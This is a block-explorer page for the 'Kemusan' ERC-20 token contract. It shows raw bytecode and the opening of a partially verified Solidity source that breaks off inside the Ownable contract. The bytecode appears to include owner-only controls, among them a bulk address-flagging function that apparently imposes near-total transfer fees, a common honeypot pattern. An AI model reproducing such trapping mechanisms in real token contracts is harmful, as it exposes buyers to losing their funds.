Address Contract Partially Verified
Address
0x85A91C8c070c71E889020273d7E455CC9A01981C
Balance
0 ETH
Nonce
1
Code Size
15127 bytes
Creator
0xBf64b299...167a at tx 0x83b5e68c...b503fe
Indexed Transactions
0
Contract Bytecode
15127 bytes
0x6080604052600436106101855760003560e01c80637cca52fe116100d1578063a8aa1b311161008a578063dd62ed3e11610064578063dd62ed3e1461058f578063dde7e9d1146105cc578063f2fde38b146105f5578063f88eb80a1461061e5761018c565b8063a8aa1b3114610510578063a9059cbb1461053b578063af6a0705146105785761018c565b80637cca52fe146104125780637d1db4a51461043d578063893d20e8146104685780638cd4426d146104935780639213c358146104bc57806395d89b41146104e55761018c565b8063313ce5671161013e5780634a709d9d116101185780634a709d9d14610358578063561653f01461038157806370a08231146103aa57806378109e54146103e75761018c565b8063313ce567146102c75780633f4218e0146102f257806348ff2b8b1461032f5761018c565b806306fdde031461019157806307107747146101bc578063095ea7b3146101e557806318160ddd1461022257806323b872dd1461024d5780632f54bf6e1461028a5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610635565b6040516101b39190612a57565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612b20565b610672565b005b3480156101f157600080fd5b5061020c60048036038101906102079190612c14565b61075f565b6040516102199190612c63565b60405180910390f35b34801561022e57600080fd5b50610237610776565b6040516102449190612c8d565b60405180910390f35b34801561025957600080fd5b50610274600480360381019061026f9190612ca8565b6107b7565b6040516102819190612c63565b60405180910390f35b34801561029657600080fd5b506102b160048036038101906102ac9190612cfb565b610882565b6040516102be9190612c63565b60405180910390f35b3480156102d357600080fd5b506102dc6108db565b6040516102e99190612d44565b60405180910390f35b3480156102fe57600080fd5b5061031960048036038101906103149190612cfb565b6108e4565b6040516103269190612c63565b60405180910390f35b34801561033b57600080fd5b5061035660048036038101906103519190612d5f565b610904565b005b34801561036457600080fd5b5061037f600480360381019061037a9190612d9f565b6109a7565b005b34801561038d57600080fd5b506103a860048036038101906103a39190612e41565b610ac9565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190612cfb565b610b7d565b6040516103de9190612c8d565b60405180910390f35b3480156103f357600080fd5b506103fc610bc6565b6040516104099190612c8d565b60405180910390f35b34801561041e57600080fd5b50610427610bcc565b6040516104349190612c8d565b60405180910390f35b34801561044957600080fd5b50610452610bd2565b60405161045f9190612c8d565b60405180910390f35b34801561047457600080fd5b5061047d610bd8565b60405161048a9190612ea3565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612c14565b610c01565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612ebe565b610d92565b005b3480156104f157600080fd5b506104fa610faa565b6040516105079190612a57565b60405180910390f35b34801561051c57600080fd5b50610525610fe7565b6040516105329190612ea3565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d9190612c14565b61100d565b60405161056f9190612c63565b60405180910390f35b34801561058457600080fd5b5061058d611024565b005b34801561059b57600080fd5b506105b660048036038101906105b19190612f11565b611079565b6040516105c39190612c8d565b60405180910390f35b3480156105d857600080fd5b506105f360048036038101906105ee9190612e41565b611100565b005b34801561060157600080fd5b5061061c60048036038101906106179190612f8f565b61127b565b005b34801561062a57600080fd5b5061063361133d565b005b60606040518060400160405280600781526020017f4b656d7573616e00000000000000000000000000000000000000000000000000815250905090565b61067b33610882565b6106ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b190613008565b60405180910390fd5b60005b838390508110156107595781600560008686858181106106e0576106df613028565b5b90506020020160208101906106f59190612cfb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075190613086565b9150506106bd565b50505050565b600061076c3384846113a2565b6001905092915050565b60006107b26107856000610b7d565b6107a461079361dead610b7d565b60015461156b90919063ffffffff16565b61156b90919063ffffffff16565b905090565b60006107c4848484611581565b610877843361087285604051806060016040528060288152602001613aba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4b9092919063ffffffff16565b6113a2565b600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60046020528060005260406000206000915054906101000a900460ff1681565b61090d33610882565b61094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390613008565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6109b033610882565b6109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e690613008565b60405180910390fd5b86600d8190555085600e819055508460108190555083600f81905550826011819055508160128190555080601381905550610a366001601454611ea090919063ffffffff16565b60115411158015610a5e5750610a586001601454611ea090919063ffffffff16565b60125411155b8015610a815750610a7b6001601454611ea090919063ffffffff16565b60135411155b610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab790613140565b60405180910390fd5b50505050505050565b610ad233610882565b610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890613008565b60405180910390fd5b82600a81905550610b42620186a0610b3484600154611eb690919063ffffffff16565b611ea090919063ffffffff16565b600b81905550610b72620186a0610b6483600154611eb690919063ffffffff16565b611ea090919063ffffffff16565b600c81905550505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b60195481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c0a33610882565b610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4090613008565b60405180910390fd5b6000610cea6064610cdc848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c8d9190612ea3565b602060405180830381865afa158015610caa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cce9190613175565b611eb690919063ffffffff16565b611ea090919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d499291906131a2565b6020604051808303816000875af1158015610d68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8c91906131e0565b50505050565b610d9b33610882565b610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190613008565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60606040518060400160405280600781526020017f4b656d7573616e00000000000000000000000000000000000000000000000000815250905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061101a338484611581565b6001905092915050565b61102d33610882565b61106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390613008565b60405180910390fd5b611077600b54611ecc565b565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110933610882565b611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90613008565b60405180910390fd5b600061117361271061116586600154611eb690919063ffffffff16565b611ea090919063ffffffff16565b905060006111a061271061119286600154611eb690919063ffffffff16565b611ea090919063ffffffff16565b905060006111cd6127106111bf86600154611eb690919063ffffffff16565b611ea090919063ffffffff16565b9050826018819055508160198190555080601a8190555060006112156103e861120760056111f9610776565b611eb690919063ffffffff16565b611ea090919063ffffffff16565b90508084101580156112275750808310155b80156112335750808210155b611272576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112699061327f565b60405180910390fd5b50505050505050565b61128433610882565b6112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba90613008565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161133291906132fe565b60405180910390a150565b61134633610882565b611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90613008565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114089061338b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611480576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114779061341d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161155e9190612c8d565b60405180910390a3505050565b60008183611579919061343d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e7906134e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690613575565b60405180910390fd5b61166883610b7d565b8111156116aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a190613607565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561174e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117a357600760149054906101000a900460ff166117a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179990613673565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118475750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118a15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118db575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197757601a5461193582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213990919063ffffffff16565b1115611976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196d906136df565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611aba5760195481111580611a265750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a7a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab09061374b565b60405180910390fd5b5b60185481111580611b145750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b685750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e9061374b565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c4e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c6e57600160086000828254611c66919061376b565b925050819055505b611c7983838361214f565b15611c9257611c89600b54611ecc565b60006008819055505b611ce481600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156b90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611d338484612289565b611d3d5781611d49565b611d48848484612337565b5b9050611d9d81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213990919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e3d9190612c8d565b60405180910390a350505050565b6000838311158290611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a9190612a57565b60405180910390fd5b5082840390509392505050565b60008183611eae91906137ce565b905092915050565b60008183611ec491906137ff565b905092915050565b6001600960006101000a81548160ff0219169083151502179055506000611f3a6002611f2c600f54611f1e600e54611f106001600d5461213990919063ffffffff16565b61213990919063ffffffff16565b61213990919063ffffffff16565b611eb690919063ffffffff16565b90506000611f6582611f57600d5486611eb690919063ffffffff16565b611ea090919063ffffffff16565b90506000611f7c828561156b90919063ffffffff16565b90506000479050611f8c826124f5565b6000611fa1824761156b90919063ffffffff16565b90506000611fcc611fbd600d548861156b90919063ffffffff16565b83611ea090919063ffffffff16565b90506000611fe5600d5483611eb690919063ffffffff16565b90506000811115611ffb57611ffa8682612738565b5b6000612025600e54612017600286611eb690919063ffffffff16565b611eb690919063ffffffff16565b9050600081111561209a57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612098573d6000803e3d6000fd5b505b6000479050600081111561211257601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612110573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b60008183612147919061376b565b905092915050565b600080600c5483101590506000600b5461216830610b7d565b10159050600960009054906101000a900460ff161580156121955750600760159054906101000a900460ff165b80156121ad5750600760149054906101000a900460ff165b80156121b65750815b801561220c5750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122655750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156122755750600a5460085410155b801561227e5750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561232f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806123448585612838565b11156124ea57600061237c6123598686612838565b61236e60145486611ea090919063ffffffff16565b611eb690919063ffffffff16565b90506123d081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124709190612c8d565b60405180910390a3600060105411801561249457506010546124928686612838565b115b156124cf576124ce3061dead6124c96010546124bb60145489611ea090919063ffffffff16565b611eb690919063ffffffff16565b611581565b5b6124e2818461156b90919063ffffffff16565b9150506124ee565b8190505b9392505050565b6000600267ffffffffffffffff81111561251257612511613841565b5b6040519080825280602002602001820160405280156125405781602001602082028036833780820191505090505b509050308160008151811061255857612557613028565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126239190613885565b8160018151811061263757612636613028565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061269e30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113a2565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127029594939291906139ab565b600060405180830381600087803b15801561271c57600080fd5b505af1158015612730573d6000803e3d6000fd5b505050505050565b61276530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113a2565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127ee96959493929190613a05565b60606040518083038185885af115801561280c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128319190613a66565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128db5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128fd576128f6606460145461156b90919063ffffffff16565b90506129c1565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361295c5760125490506129c1565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129bb5760115490506129c1565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a015780820151818401526020810190506129e6565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a29826129c7565b612a3381856129d2565b9350612a438185602086016129e3565b612a4c81612a0d565b840191505092915050565b60006020820190508181036000830152612a718184612a1e565b905092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f840112612aa857612aa7612a83565b5b8235905067ffffffffffffffff811115612ac557612ac4612a88565b5b602083019150836020820283011115612ae157612ae0612a8d565b5b9250929050565b60008115159050919050565b612afd81612ae8565b8114612b0857600080fd5b50565b600081359050612b1a81612af4565b92915050565b600080600060408486031215612b3957612b38612a79565b5b600084013567ffffffffffffffff811115612b5757612b56612a7e565b5b612b6386828701612a92565b93509350506020612b7686828701612b0b565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bab82612b80565b9050919050565b612bbb81612ba0565b8114612bc657600080fd5b50565b600081359050612bd881612bb2565b92915050565b6000819050919050565b612bf181612bde565b8114612bfc57600080fd5b50565b600081359050612c0e81612be8565b92915050565b60008060408385031215612c2b57612c2a612a79565b5b6000612c3985828601612bc9565b9250506020612c4a85828601612bff565b9150509250929050565b612c5d81612ae8565b82525050565b6000602082019050612c786000830184612c54565b92915050565b612c8781612bde565b82525050565b6000602082019050612ca26000830184612c7e565b92915050565b600080600060608486031215612cc157612cc0612a79565b5b6000612ccf86828701612bc9565b9350506020612ce086828701612bc9565b9250506040612cf186828701612bff565b9150509250925092565b600060208284031215612d1157612d10612a79565b5b6000612d1f84828501612bc9565b91505092915050565b600060ff82169050919050565b612d3e81612d28565b82525050565b6000602082019050612d596000830184612d35565b92915050565b60008060408385031215612d7657612d75612a79565b5b6000612d8485828601612bc9565b9250506020612d9585828601612b0b565b9150509250929050565b600080600080600080600060e0888a031215612dbe57612dbd612a79565b5b6000612dcc8a828b01612bff565b9750506020612ddd8a828b01612bff565b9650506040612dee8a828b01612bff565b9550506060612dff8a828b01612bff565b9450506080612e108a828b01612bff565b93505060a0612e218a828b01612bff565b92505060c0612e328a828b01612bff565b91505092959891949750929550565b600080600060608486031215612e5a57612e59612a79565b5b6000612e6886828701612bff565b9350506020612e7986828701612bff565b9250506040612e8a86828701612bff565b9150509250925092565b612e9d81612ba0565b82525050565b6000602082019050612eb86000830184612e94565b92915050565b600080600060608486031215612ed757612ed6612a79565b5b6000612ee586828701612bc9565b9350506020612ef686828701612bc9565b9250506040612f0786828701612bc9565b9150509250925092565b60008060408385031215612f2857612f27612a79565b5b6000612f3685828601612bc9565b9250506020612f4785828601612bc9565b9150509250929050565b6000612f5c82612b80565b9050919050565b612f6c81612f51565b8114612f7757600080fd5b50565b600081359050612f8981612f63565b92915050565b600060208284031215612fa557612fa4612a79565b5b6000612fb384828501612f7a565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612ff26006836129d2565b9150612ffd82612fbc565b602082019050919050565b6000602082019050818103600083015261302181612fe5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309182612bde565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130c3576130c2613057565b5b600182019050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b600061312a602c836129d2565b9150613135826130ce565b604082019050919050565b600060208201905081810360008301526131598161311d565b9050919050565b60008151905061316f81612be8565b92915050565b60006020828403121561318b5761318a612a79565b5b600061319984828501613160565b91505092915050565b60006040820190506131b76000830185612e94565b6131c46020830184612c7e565b9392505050565b6000815190506131da81612af4565b92915050565b6000602082840312156131f6576131f5612a79565b5b6000613204848285016131cb565b91505092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000613269602e836129d2565b91506132748261320d565b604082019050919050565b600060208201905081810360008301526132988161325c565b9050919050565b6000819050919050565b60006132c46132bf6132ba84612b80565b61329f565b612b80565b9050919050565b60006132d6826132a9565b9050919050565b60006132e8826132cb565b9050919050565b6132f8816132dd565b82525050565b600060208201905061331360008301846132ef565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133756024836129d2565b915061338082613319565b604082019050919050565b600060208201905081810360008301526133a481613368565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134076022836129d2565b9150613412826133ab565b604082019050919050565b60006020820190508181036000830152613436816133fa565b9050919050565b600061344882612bde565b915061345383612bde565b925082820390508181111561346b5761346a613057565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134cd6025836129d2565b91506134d882613471565b604082019050919050565b600060208201905081810360008301526134fc816134c0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061355f6023836129d2565b915061356a82613503565b604082019050919050565b6000602082019050818103600083015261358e81613552565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006135f16031836129d2565b91506135fc82613595565b604082019050919050565b60006020820190508181036000830152613620816135e4565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b600061365d600e836129d2565b915061366882613627565b602082019050919050565b6000602082019050818103600083015261368c81613650565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b60006136c9601e836129d2565b91506136d482613693565b602082019050919050565b600060208201905081810360008301526136f8816136bc565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006137356011836129d2565b9150613740826136ff565b602082019050919050565b6000602082019050818103600083015261376481613728565b9050919050565b600061377682612bde565b915061378183612bde565b925082820190508082111561379957613798613057565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137d982612bde565b91506137e483612bde565b9250826137f4576137f361379f565b5b828204905092915050565b600061380a82612bde565b915061381583612bde565b925082820261382381612bde565b9150828204841483151761383a57613839613057565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061387f81612bb2565b92915050565b60006020828403121561389b5761389a612a79565b5b60006138a984828501613870565b91505092915050565b6000819050919050565b60006138d76138d26138cd846138b2565b61329f565b612bde565b9050919050565b6138e7816138bc565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61392281612ba0565b82525050565b60006139348383613919565b60208301905092915050565b6000602082019050919050565b6000613958826138ed565b61396281856138f8565b935061396d83613909565b8060005b8381101561399e5781516139858882613928565b975061399083613940565b925050600181019050613971565b5085935050505092915050565b600060a0820190506139c06000830188612c7e565b6139cd60208301876138de565b81810360408301526139df818661394d565b90506139ee6060830185612e94565b6139fb6080830184612c7e565b9695505050505050565b600060c082019050613a1a6000830189612e94565b613a276020830188612c7e565b613a3460408301876138de565b613a4160608301866138de565b613a4e6080830185612e94565b613a5b60a0830184612c7e565b979650505050505050565b600080600060608486031215613a7f57613a7e612a79565b5b6000613a8d86828701613160565b9350506020613a9e86828701613160565b9250506040613aaf86828701613160565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e0973931a10f4906d2aef32cdb023cf888243e205f04af7c90a8ac3b0c78dea64736f6c63430008130033
Verified Source Code Partial Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: No
kemusan.sol 348 lines
/**
TG:https://t.me/kemusanerc
Twitter:https://twitter.com/kemusanerc
Website:https://kemusan.xyz/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
